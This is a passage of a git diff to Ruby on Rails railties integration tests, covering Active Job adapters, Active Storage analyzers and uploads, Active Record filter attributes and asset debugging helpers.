+      assert_match(/noone,UTC/, response.body)
+    end
+  end
+
+  class WithoutExecutorIntegrationTest < ActionControllerTestCaseIntegrationTest
+    self.executor_around_each_request = false
+
+    test "current customer is not cleared after each request" do
+      assert_not Rails.application.config.active_support.executor_around_test_case
+      assert_not ActionController::TestCase.executor_around_each_request
+
+      get :get_current_customer
+      assert_response :ok
+      assert_match(/noone,UTC/, response.body)
+
+      get :set_current_customer
+      assert_response :ok
+      assert_match(/david,Copenhagen/, response.body)
+
+      get :get_current_customer
+      assert_response :ok
+      assert_match(/david,Copenhagen/, response.body)
+    end
+  end
+end
diff --git a/railties/test/application/action_text/installation_integration_test.rb b/railties/test/application/action_text/installation_integration_test.rb
new file mode 100644
index 0000000000000..4888e9ba8c762
--- /dev/null
+++ b/railties/test/application/action_text/installation_integration_test.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class InstallationIntegrationTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_renders_actionable_exception_page_when_action_text_not_installed
+      app "development"
+      app_file "config/routes.rb", <<~RUBY
+        Rails.application.routes.draw do
+          post "/rich_texts" => "rich_texts#create"
+        end
+      RUBY
+      app_file "app/controllers/rich_texts_controller.rb", <<~RUBY
+        class RichTextsController < ActionController::Base
+          def create
+            ActionText::RichText.create!
+          end
+        end
+      RUBY
+
+      post "/rich_texts"
+
+      assert_equal 500, last_response.status
+      assert_match "To resolve this issue run: bin/rails action_text:install", last_response.body
+    end
+  end
+end
diff --git a/railties/test/application/action_view_test_integration_case_test.rb b/railties/test/application/action_view_test_integration_case_test.rb
new file mode 100644
index 0000000000000..e7d536819585d
--- /dev/null
+++ b/railties/test/application/action_view_test_integration_case_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+class ActionViewTestCaseIntegrationTest < ActionView::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  class HomeController < ActionController::Base
+    def index; end
+
+    def url_options
+      {}
+    end
+  end
+
+  setup do
+    build_app
+
+    app_file "config/routes.rb", <<~RUBY
+      Rails.application.routes.draw do
+        root to: "action_view_test_case_test/home#index"
+      end
+    RUBY
+
+    require "#{app_path}/config/environment"
+
+    HomeController.include(Rails.application.routes.url_helpers)
+    @controller = HomeController.new
+  end
+
+  teardown :teardown_app
+
+  test "can use url helpers" do
+    assert_equal("/", root_path)
+  end
+end
diff --git a/railties/test/application/active_job_adapter_test.rb b/railties/test/application/active_job_adapter_test.rb
new file mode 100644
index 0000000000000..00c9614a951d7
--- /dev/null
+++ b/railties/test/application/active_job_adapter_test.rb
@@ -0,0 +1,217 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class ActiveJobAdapterTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      @old = ENV["PARALLEL_WORKERS"]
+      ENV["PARALLEL_WORKERS"] = "0"
+
+      build_app
+    end
+
+    def teardown
+      ENV["PARALLEL_WORKERS"] = @old
+
+      teardown_app
+    end
+
+    test "config set via application.rb" do
+      add_to_config "config.active_job.queue_adapter = :inline"
+      make_inline_test_file
+      assert_successful_test_run "integration/config_test.rb"
+    end
+
+    test "config set via environment config" do
+      add_to_config "config.active_job.queue_adapter = :async"
+      app_file "config/environments/test.rb", <<-RUBY
+        Rails.application.configure do
+          config.active_job.queue_adapter = :inline
+        end
+      RUBY
+      make_inline_test_file
+      assert_successful_test_run "integration/config_test.rb"
+    end
+
+    test "config is set for production, but test uses defaults" do
+      app_file "config/environments/production.rb", <<-RUBY
+        Rails.application.configure do
+          config.active_job.queue_adapter = :sidekiq
+        end
+      RUBY
+      make_test_test_file
+      assert_successful_test_run "integration/config_test.rb"
+    end
+
+    private
+      def make_inline_test_file
+        app_file "test/integration/config_test.rb", <<-RUBY
+        require "test_helper"
+
+        class RailsConfigUnitTest < ActiveSupport::TestCase
+          test "the Inline Active Job adapter is used in unit tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::InlineAdapter), adapter
+            assert_equal :inline, Rails.application.config.active_job.queue_adapter
+          end
+        end
+
+        class RailsConfigIntegrationTest < ActionDispatch::IntegrationTest
+          test "the Inline Active Job adapter is used in integration tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::InlineAdapter), adapter
+            assert_equal :inline, Rails.application.config.active_job.queue_adapter
+
+            # ActionDispatch::IntegrationTest includes ActiveJob::TestHelper,
+            # which adds a bunch of assertions. But these assertions only work
+            # if the test adapter is TestAdapter. So for other test adapters,
+            # we raise an error if the method is called.
+            assert_raise ArgumentError, "assert_enqueued_jobs requires the Active Job test adapter, you're using ActiveJob::QueueAdapters::InlineAdapter" do
+              assert_no_enqueued_jobs {}
+            end
+          end
+        end
+
+        class RailsConfigJobTest < ActiveJob::TestCase
+          test "the Inline Active Job adapter is used in job tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::InlineAdapter), adapter
+            assert_equal :inline, Rails.application.config.active_job.queue_adapter
+
+            # ActiveJob::TesTCase includes ActiveJob::TestHelper,
+            # which adds a bunch of assertions. But these assertions only work
+            # if the test adapter is TestAdapter. So for other test adapters,
+            # we raise an error if the method is called.
+            assert_raise ArgumentError, "assert_enqueued_jobs requires the Active Job test adapter, you're using ActiveJob::QueueAdapters::InlineAdapter" do
+              assert_no_enqueued_jobs {}
+            end
+          end
+        end
+
+        class RailsConfigMailerTest < ActionMailer::TestCase
+          test "the Inline Active Job adapter is used in mailer tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::InlineAdapter), adapter
+            assert_equal :inline, Rails.application.config.active_job.queue_adapter
+
+            # ActionMailer::TestHelper includes ActiveJob::TestHelper
+            # So this just asserts that we haven't broken Action Mailer assertions that
+            # depend on Active Job:
+            assert_emails(0) {}
+            assert_emails(0)
+          end
+        end
+
+        class RailsConfigHelperTest < ActionView::TestCase
+          test "the Inline Active Job adapter is used in helper tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::InlineAdapter), adapter
+            assert_equal :inline, Rails.application.config.active_job.queue_adapter
+          end
+        end
+
+        class RailsConfigControllerTest < ActionController::TestCase
+          test "the Inline Active Job adapter is used in controller tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::InlineAdapter), adapter
+            assert_equal :inline, Rails.application.config.active_job.queue_adapter
+          end
+        end
+
+        class RailsConfigSystemTest < ActionDispatch::SystemTestCase
+          test "the Inline Active Job adapter is used in system tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::InlineAdapter), adapter
+            assert_equal :inline, Rails.application.config.active_job.queue_adapter
+          end
+        end
+        RUBY
+      end
+
+      def make_test_test_file
+        app_file "test/integration/config_test.rb", <<-RUBY
+        require "test_helper"
+
+        class RailsConfigUnitTest < ActiveSupport::TestCase
+          test "the Test Active Job adapter is used in unit tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::TestAdapter), adapter
+            assert_equal :test, Rails.application.config.active_job.queue_adapter
+          end
+        end
+
+        class RailsConfigIntegrationTest < ActionDispatch::IntegrationTest
+          test "the Test Active Job adapter is used in integration tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::TestAdapter), adapter
+            assert_equal :test, Rails.application.config.active_job.queue_adapter
+
+            assert_nothing_raised do
+              assert_no_enqueued_jobs {}
+            end
+          end
+        end
+
+        class RailsConfigJobTest < ActiveJob::TestCase
+          test "the Test Active Job adapter is used in job tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::TestAdapter), adapter
+            assert_equal :test, Rails.application.config.active_job.queue_adapter
+
+            assert_nothing_raised do
+              assert_no_enqueued_jobs {}
+            end
+          end
+        end
+
+        class RailsConfigMailerTest < ActionMailer::TestCase
+          test "the Test Active Job adapter is used in mailer tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::TestAdapter), adapter
+            assert_equal :test, Rails.application.config.active_job.queue_adapter
+
+            assert_emails(0) {}
+            assert_emails(0)
+          end
+        end
+
+        class RailsConfigHelperTest < ActionView::TestCase
+          test "the Test Active Job adapter is used in helper tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::TestAdapter), adapter
+            assert_equal :test, Rails.application.config.active_job.queue_adapter
+          end
+        end
+
+        class RailsConfigControllerTest < ActionController::TestCase
+          test "the Test Active Job adapter is used in controller tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::TestAdapter), adapter
+            assert_equal :test, Rails.application.config.active_job.queue_adapter
+          end
+        end
+
+        class RailsConfigSystemTest < ActionDispatch::SystemTestCase
+          test "the Test Active Job adapter is used in system tests" do
+            adapter = ActiveJob::Base.queue_adapter
+            assert adapter.is_a?(ActiveJob::QueueAdapters::TestAdapter), adapter
+            assert_equal :test, Rails.application.config.active_job.queue_adapter
+          end
+        end
+        RUBY
+      end
+
+      def assert_successful_test_run(name)
+        result = run_test_file(name)
+        assert_equal 0, $?.to_i, result
+        result
+      end
+
+      def run_test_file(name)
+        rails "test", "#{app_path}/test/#{name}", allow_failure: true
+      end
+  end
+end
diff --git a/railties/test/application/active_job_railtie_test.rb b/railties/test/application/active_job_railtie_test.rb
new file mode 100644
index 0000000000000..4cb41c3711fe0
--- /dev/null
+++ b/railties/test/application/active_job_railtie_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class ActiveJobRailtieTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    setup :build_app
+    teardown :teardown_app
+
+    test "jobs can set 'enqueue_after_transaction_commit' when eager_load is true" do
+      add_to_env_config "development", "config.eager_load = true"
+
+      app_file "app/jobs/foo_job.rb", <<-RUBY
+        class FooJob < ActiveJob::Base
+          self.enqueue_after_transaction_commit = false
+        end
+      RUBY
+
+      assert_equal "false", rails("runner", "p FooJob.enqueue_after_transaction_commit").strip
+    end
+
+    test "custom serializers are loaded for Arguments#serialize" do
+      app_file "config/initializers/custom_serializers.rb", <<~RUBY
+        class Money; end
+
+        class MoneySerializer < ActiveJob::Serializers::ObjectSerializer
+          def klass = Money
+          def serialize(money) = {}
+          def deserialize(hash) = Money.new
+        end
+
+        Rails.configuration.active_job.custom_serializers << MoneySerializer
+      RUBY
+
+      app "development"
+
+      assert_equal([{}], ActiveJob::Arguments.serialize([Money.new]))
+    end
+  end
+end
diff --git a/railties/test/application/active_record_railtie_test.rb b/railties/test/application/active_record_railtie_test.rb
new file mode 100644
index 0000000000000..90ed19f8c182b
--- /dev/null
+++ b/railties/test/application/active_record_railtie_test.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class ActiveRecordRailtieTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    setup :build_app
+    teardown :teardown_app
+
+    test "continuable jobs raise when checkpointing in a transaction" do
+      app_file "app/jobs/continuable_job.rb", <<~RUBY
+        require "active_job/continuable"
+
+        class ContinuableJob < ActiveJob::Base
+          include ActiveJob::Continuable
+
+          def perform(*)
+            step :checkpoint_in_transaction do |step|
+              ActiveRecord::Base.transaction do
+                step.checkpoint!
+              end
+            end
+          end
+        end
+      RUBY
+
+      exception = assert_raises do
+        rails("runner", "ContinuableJob.perform_now")
+      end
+      assert_includes exception.message, "ActiveJob::Continuation::CheckpointError: Cannot checkpoint job with open transactions"
+    end
+
+    test "filter_attributes include filter_parameters" do
+      app_file "config/initializers/parameter_filter.rb", <<~RUBY
+        Rails.application.config.filter_parameters += [ :special_param ]
+      RUBY
+      app "development"
+
+      assert_includes ActiveRecord::Base.filter_attributes, :special_param
+    end
+
+    test "filter_parameters include filter_attributes for an AR::Base subclass" do
+      app "development"
+
+      assert_not_includes ActiveRecord::Base.filter_attributes, "message.special_attr"
+
+      class Message < ActiveRecord::Base
+        self.table_name = "messages"
+        self.filter_attributes += [:special_attr]
+      end
+
+      assert_includes Rails.application.config.filter_parameters, "message.special_attr"
+    end
+
+    test "filter_parameters include filter_attributes for AR::Base subclasses" do
+      app "development"
+
+      assert_not_includes ActiveRecord::Base.filter_attributes, "special_attr"
+
+      class Message < ActiveRecord::Base
+        self.table_name = "messages"
+      end
+
+      Message.filter_attributes += [ :special_attr ]
+
+      assert_includes Rails.application.config.filter_parameters, "message.special_attr"
+    end
+
+    test "filter_parameters are inherited from AR parent classes" do
+      app "development"
+
+      ActiveRecord::Base.filter_attributes += [ "expires_at" ]
+
+      class ApplicationRecord < ActiveRecord::Base
+        self.abstract_class = true
+        self.filter_attributes += [ "expires_at" ]
+      end
+
+      class CreditCard < ApplicationRecord
+        self.table_name = "credit_cards"
+        self.filter_attributes += [ "digits" ]
+      end
+
+      assert_includes Rails.application.config.filter_parameters, "credit_card.expires_at"
+      assert_includes Rails.application.config.filter_parameters, "credit_card.digits"
+      assert_not_includes Rails.application.config.filter_parameters, "application_record.expires_at"
+      assert_not_includes Rails.application.config.filter_parameters, "base.expires_at"
+    end
+  end
+end
diff --git a/railties/test/application/active_storage/analyzers_integration_test.rb b/railties/test/application/active_storage/analyzers_integration_test.rb
new file mode 100644
index 0000000000000..df0d0249bcf6e
--- /dev/null
+++ b/railties/test/application/active_storage/analyzers_integration_test.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class ActiveStorageEngineTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    include ActiveJob::TestHelper
+
+    self.file_fixture_path = "#{RAILS_FRAMEWORK_ROOT}/activestorage/test/fixtures/files"
+
+    def setup
+      build_app
+
+      rails "active_storage:install"
+
+      rails "generate", "model", "user", "name:string", "avatar:attachment"
+      rails "db:migrate"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_analyzers_default
+      app("development")
+
+      user = User.new(name: "Test User", avatar: file_fixture("racecar.jpg"))
+
+      # Analysis happens synchronously from the local file during attachment
+      assert_no_enqueued_jobs only: ActiveStorage::AnalyzeJob do
+        user.save!
+      end
+
+      assert_predicate user.avatar, :analyzed?
+    end
+
+    def test_analyzers_empty
+      add_to_config "config.active_storage.analyzers = []"
+
+      app("development")
+
+      user = User.new(name: "Test User", avatar: file_fixture("racecar.jpg"))
+
+      assert_no_enqueued_jobs do
+        user.save!
+      end
+
+      # Still marked as analyzed even with no analyzers (just no metadata extracted)
+      assert_predicate user.avatar, :analyzed?
+    end
+
+    def test_analyze_job_enqueued_for_direct_upload
+      app("development")
+
+      # Simulate a direct upload by creating a blob first, then attaching it
+      blob = ActiveStorage::Blob.create_before_direct_upload!(
+        filename: "racecar.jpg",
+        byte_size: file_fixture("racecar.jpg").size,
+        checksum: OpenSSL::Digest::MD5.file(file_fixture("racecar.jpg")).base64digest,
+        content_type: "image/jpeg"
+      )
+      blob.upload(file_fixture("racecar.jpg").open)
+
+      user = User.new(name: "Test User")
+
+      # For direct uploads (existing blobs), AnalyzeJob is still enqueued
+      assert_enqueued_with(job: ActiveStorage::AnalyzeJob) do
+        user.avatar.attach(blob)
+        user.save!
+      end
+    end
+  end
+end
diff --git a/railties/test/application/active_storage/engine_integration_test.rb b/railties/test/application/active_storage/engine_integration_test.rb
new file mode 100644
index 0000000000000..14d3c2089adc5
--- /dev/null
+++ b/railties/test/application/active_storage/engine_integration_test.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+require "env_helpers"
+
+module ApplicationTests
+  class ActiveStorageEngineTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    include EnvHelpers
+
+    def setup
+      build_app
+
+      File.write app_path("Gemfile"), <<~GEMFILE
+        source "https://rubygems.org"
+        gem "rails", path: "#{RAILS_FRAMEWORK_ROOT}"
+
+        gem "propshaft"
+        gem "importmap-rails"
+        gem "sqlite3"
+      GEMFILE
+
+      add_to_env_config :development, "config.active_storage.logger = ActiveSupport::Logger.new(STDOUT)"
+
+      File.open("#{app_path}/config/boot.rb", "w") do |f|
+        f.puts "ENV['BUNDLE_GEMFILE'] = '#{app_path}/Gemfile'"
+        f.puts 'require "bundler/setup"'
+      end
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_default_transformer_missing_gem_warning
+      output = run_command("puts ActiveStorage.variant_transformer")
+
+      assert_includes(output, 'Generating image variants require the image_processing gem. Please add `gem "image_processing", "~> 1.2"` to your Gemfile')
+    end
+
+    def test_default_transformer_with_gem_no_warning
+      File.open("#{app_path}/Gemfile", "a") do |f|
+        f.puts <<~GEMFILE
+          gem "image_processing", "~> 1.2"
+        GEMFILE
+      end
+
+      output = run_command("puts ActiveStorage.variant_transformer")
+
+      assert_not_includes(output, 'Generating image variants require the image_processing gem. Please add `gem "image_processing", "~> 1.2"` to your Gemfile')
+      assert_includes(output, "ActiveStorage::Transformers::Vips")
+    end
+
+    def test_disabled_transformer_missing_gem_no_warning
+      add_to_config "config.active_storage.variant_processor = :disabled"
+
+      output = run_command("puts ActiveStorage.variant_transformer")
+
+      assert_not_includes(output, 'Generating image variants require the image_processing gem. Please add `gem "image_processing", "~> 1.2"` to your Gemfile')
+      assert_includes(output, "ActiveStorage::Transformers::NullTransformer")
+    end
+
+    private
+      def run_command(cmd)
+        Dir.chdir(app_path) do
+          Bundler.with_original_env do
+            with_rails_env "development" do
+              `bin/rails runner "#{cmd}" 2>&1`
+            end
+          end
+        end
+      end
+  end
+end
diff --git a/railties/test/application/active_storage/uploads_integration_test.rb b/railties/test/application/active_storage/uploads_integration_test.rb
new file mode 100644
index 0000000000000..82d23db8ff467
--- /dev/null
+++ b/railties/test/application/active_storage/uploads_integration_test.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+require "rails-dom-testing"
+
+module ApplicationTests
+  class UploadsIntegrationTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+    include Rails::Dom::Testing::Assertions
+
+    self.file_fixture_path = "test/fixtures/files"
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_creating_new_upload
+      rails "active_storage:install"
+
+      rails "generate", "model", "user", "name:string", "avatar:attachment"
+      rails "db:migrate"
+
+      app_file "config/routes.rb", <<~RUBY
+        Rails.application.routes.draw do
+          resources :users, only: [:show, :create]
+        end
+      RUBY
+
+      app_file "app/controllers/users_controller.rb", <<~RUBY
+        class UsersController < ApplicationController
+          def show
+            @user = User.find(params[:id])
+            render :show
+          end
+
+          def create
+            @user = User.new(user_params)
+
+            if @user.save
+              redirect_to user_url(@user), notice: "User was successfully created."
+            else
+              render :new, status: #{ActionDispatch::Constants::UNPROCESSABLE_CONTENT.inspect}
+            end
+          end
+
+          private
+            def user_params
+              params.expect(user: [:name, :avatar])
+            end
+        end
+      RUBY
+
+      app_file "app/views/users/show.html.erb", <<~ERB
+        <p><%= @user.name %></p>
+        <p><%= image_tag @user.avatar %></p>
+      ERB
+
+      app("development")
+
+      post "/users", user: { name: "zomg", avatar: Rack::Test::UploadedFile.new(file_fixture("racecar.jpg")) }
+      assert_equal 302, last_response.status
+
+      get "/users/1"
+      assert_equal 200, last_response.status
+      assert_select "p", text: "zomg"
+      assert_select "img", count: 1
+    end
+
+    private
+      def document_root_element
+        Nokogiri::HTML5.parse(last_response.body)
+      end
+  end
+end
diff --git a/railties/test/application/active_storage/validating_service_test.rb b/railties/test/application/active_storage/validating_service_test.rb
new file mode 100644
index 0000000000000..fe5b254ebdf9c
--- /dev/null
+++ b/railties/test/application/active_storage/validating_service_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+require "rails-dom-testing"
+
+module ApplicationTests
+  class ValidatingServiceTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+    include Rails::Dom::Testing::Assertions
+
+    self.file_fixture_path = "test/fixtures/files"
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_boot_application_with_model_using_active_storage_should_not_load_active_storage_blob
+      rails "active_storage:install"
+
+      rails "generate", "model", "user", "name:string", "avatar:attachment"
+      rails "db:migrate"
+
+      app_file "config/routes.rb", <<~RUBY
+        Rails.application.routes.draw do
+          _ = User
+          resources :users, only: [:show, :create]
+          Rails.configuration.ok_to_proceed = true
+        end
+      RUBY
+
+      app_file "config/initializers/active_storage.rb", <<~RUBY
+        Rails.configuration.ok_to_proceed = false
+
+        ActiveSupport.on_load(:active_storage_blob) do
+          raise "ActiveStorage::Blob was loaded" unless Rails.configuration.ok_to_proceed
+        end
+      RUBY
+
+      assert_nothing_raised do
+        with_env "RAILS_ENV" => "production" do
+          rails ["environment", "--trace"]
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb
index 3e17a1efa55d3..f15a2908dab9c 100644
--- a/railties/test/application/asset_debugging_test.rb
+++ b/railties/test/application/asset_debugging_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 
@@ -7,13 +9,15 @@ class AssetDebuggingTest < ActiveSupport::TestCase
     include Rack::Test::Methods
 
     def setup
-      # FIXME: shush Sass warning spam, not relevant to testing Railties
-      Kernel.silence_warnings do
-        build_app(initializers: true)
-      end
+      build_app(initializers: true)
 
       app_file "app/assets/javascripts/application.js", "//= require_tree ."
       app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }"
+      app_file "app/assets/config/manifest.js", <<~JS
+        //= link_tree ../images
+        //= link_directory ../stylesheets .css
+        //= link_directory ../javascripts .js
+      JS
       app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
 
       app_file "config/routes.rb", <<-RUBY
@@ -34,16 +38,10 @@ def teardown
       teardown_app
     end
 
-    # FIXME: shush Sass warning spam, not relevant to testing Railties
-    def get(*)
-      Kernel.silence_warnings { super }
-    end
-
     test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do
       # config.assets.debug and config.assets.compile are false for production environment
       ENV["RAILS_ENV"] = "production"
-      output = Dir.chdir(app_path) { `bin/rails assets:precompile --trace 2>&1` }
-      assert $?.success?, output
+      rails "assets:precompile", "--trace"
 
       # Load app env
       app "production"
@@ -51,12 +49,12 @@ def get(*)
       class ::PostsController < ActionController::Base ; end
 
       # the debug_assets params isn't used if compile is off
-      get "/posts?debug_assets=true"
+      get("/posts?debug_assets=true", {}, "HTTPS" => "on")
       assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
       assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
     end
 
-    test "assets aren't concatenated when compile is true is on and debug_assets params is true" do
+    test "assets are debug when compile is true is on and debug_assets params is true" do
       add_to_env_config "production", "config.assets.compile = true"
 
       # Load app env
@@ -64,9 +62,8 @@ class ::PostsController < ActionController::Base ; end
 
       class ::PostsController < ActionController::Base ; end
 
-      get "/posts?debug_assets=true"
-      assert_match(/<script src="\/assets\/application(\.self)?-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
-      assert_match(/<script src="\/assets\/xmlhr(\.self)?-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
+      get("/posts?debug_assets=true", {}, "HTTPS" => "on")
+      assert_match(/<script src="\/assets\/application(\.debug|\.self)?-([0-z]+)\.js(\?body=1)?"><\/script>/, last_response.body)
     end
 
     test "public path and tag methods are not over-written by the asset pipeline" do
@@ -80,28 +77,33 @@ class ::PostsController < ActionController::Base ; end
         javascript_path:        %r{/javascripts/#{contents}},
         stylesheet_path:        %r{/stylesheets/#{contents}},
         image_tag:              %r{<img src="/images/#{contents}"},
-        favicon_link_tag:       %r{<link rel="shortcut icon" type="image/x-icon" href="/images/#{contents}" />},
-        stylesheet_link_tag:    %r{<link rel="stylesheet" media="screen" href="/stylesheets/#{contents}.css" />},
+        favicon_link_tag:       %r{<link rel="icon" type="image/x-icon" href="/images/#{contents}" />},
+        stylesheet_link_tag:    %r{<link rel="stylesheet" href="/stylesheets/#{contents}.css" />},
         javascript_include_tag: %r{<script src="/javascripts/#{contents}.js">},
         audio_tag:              %r{<audio src="/audios/#{contents}"></audio>},
-        video_tag:              %r{<video src="/videos/#{contents}"></video>}
+        video_tag:              %r{<video src="/videos/#{contents}"></video>},
+        image_submit_tag:       %r{<input type="image" src="/images/#{contents}" />}
       }
 
+      class ::PostsController < ActionController::Base
+        def index
+          render params[:view_method]
+        end
+      end
+
       cases.each do |(view_method, tag_match)|
-        app_file "app/views/posts/index.html.erb", "<%= #{view_method} '#{contents}', skip_pipeline: true %>"
+        app_file "app/views/posts/#{view_method}.html.erb", "<%= #{view_method} '#{contents}', skip_pipeline: true %>"
 
         app "development"
 
-        class ::PostsController < ActionController::Base ; end
-
-        get "/posts?debug_assets=true"
+        get "/posts?debug_assets=true&view_method=#{view_method}"
 
         body = last_response.body
         assert_match(tag_match, body, "Expected `#{view_method}` to produce a match to #{tag_match}, but did not: #{body}")
       end
     end
 
-    test "public url methods are not over-written by the asset pipeline" do
+    test "public URL methods are not over-written by the asset pipeline" do
       contents = "doesnotexist"
       cases = {
         asset_url:       %r{http://example.org/#{contents}},
@@ -113,14 +115,18 @@ class ::PostsController < ActionController::Base ; end
         stylesheet_url:  %r{http://example.org/stylesheets/#{contents}},
       }
 
+      class ::PostsController < ActionController::Base
+        def index
+          render params[:view_method]
+        end
+      end
+
       cases.each do |(view_method, tag_match)|
-        app_file "app/views/posts/index.html.erb", "<%= #{view_method} '#{contents}', skip_pipeline: true %>"
+        app_file "app/views/posts/#{view_method}.html.erb", "<%= #{view_method} '#{contents}', skip_pipeline: true %> "
 
         app "development"
 
-        class ::PostsController < ActionController::Base ; end
-
-        get "/posts?debug_assets=true"
+        get "/posts?debug_assets=true&view_method=#{view_method}"
 
         body = last_response.body
         assert_match(tag_match, body, "Expected `#{view_method}` to produce a match to #{tag_match}, but did not: #{body}")
@@ -132,14 +138,19 @@ class ::PostsController < ActionController::Base ; end
         /\/assets\/application-.*.\.js/ => {},
         /application.js/                => { skip_pipeline: true },
       }
-      cases.each do |(tag_match, options_hash)|
-        app_file "app/views/posts/index.html.erb", "<%= asset_path('application.js', #{options_hash}) %>"
 
-        app "development"
+      class ::PostsController < ActionController::Base
+        def index
+          render params[:version]
+        end
+      end
+
+      cases.each_with_index do |(tag_match, options_hash), index|
+        app_file "app/views/posts/version_#{index}.html.erb", "<%= asset_path('application.js', #{options_hash}) %>"
 
-        class ::PostsController < ActionController::Base ; end
+        app "development"
 
-        get "/posts?debug_assets=true"
+        get "/posts?debug_assets=true&version=version_#{index}"
 
         body = last_response.body.strip
         assert_match(tag_match, body, "Expected `asset_path` with `#{options_hash}` to produce a match to #{tag_match}, but did not: #{body}")
@@ -152,14 +163,18 @@ class ::PostsController < ActionController::Base ; end
         public_compute_asset_path: /application.js/,
       }
 
+      class ::PostsController < ActionController::Base
+        def index
+          render params[:view_method]
+        end
+      end
+
       cases.each do |(view_method, tag_match)|
-        app_file "app/views/posts/index.html.erb", "<%= #{ view_method } 'application.js' %>"
+        app_file "app/views/posts/#{view_method}.html.erb", "<%= #{ view_method } 'application.js' %>"
 
         app "development"
 
-        class ::PostsController < ActionController::Base ; end
-
-        get "/posts?debug_assets=true"
+        get "/posts?debug_assets=true&view_method=#{view_method}"
 
         body = last_response.body.strip
         assert_match(tag_match, body, "Expected `#{view_method}` to produce a match to #{ tag_match }, but did not: #{ body }")
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
index f38cacd6da019..a11b4830b04ff 100644
--- a/railties/test/application/assets_test.rb
+++ b/railties/test/application/assets_test.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 require "active_support/json"
+require "propshaft"
 
 module ApplicationTests
   class AssetsTest < ActiveSupport::TestCase
@@ -18,73 +21,41 @@ def teardown
     def precompile!(env = nil)
       with_env env.to_h do
         quietly do
-          precompile_task = "bin/rails assets:precompile --trace 2>&1"
-          output = Dir.chdir(app_path) { %x[ #{precompile_task} ] }
-          assert $?.success?, output
-          output
+          rails ["assets:precompile", "--trace"]
         end
       end
     end
 
-    def with_env(env)
-      env.each { |k, v| ENV[k.to_s] = v }
-      yield
-    ensure
-      env.each_key { |k| ENV.delete k.to_s }
-    end
-
     def clean_assets!
       quietly do
-        assert Dir.chdir(app_path) { system("bin/rails assets:clobber") }
+        rails ["assets:clobber"]
       end
     end
 
     def assert_file_exists(filename)
       globbed = Dir[filename]
-      assert globbed.one?, "Found #{globbed.size} files matching #{filename}. All files in the directory: #{Dir.entries(File.dirname(filename)).inspect}"
+      assert Dir.exist?(File.dirname(filename)), "Directory #{File.dirname(filename)} does not exist"
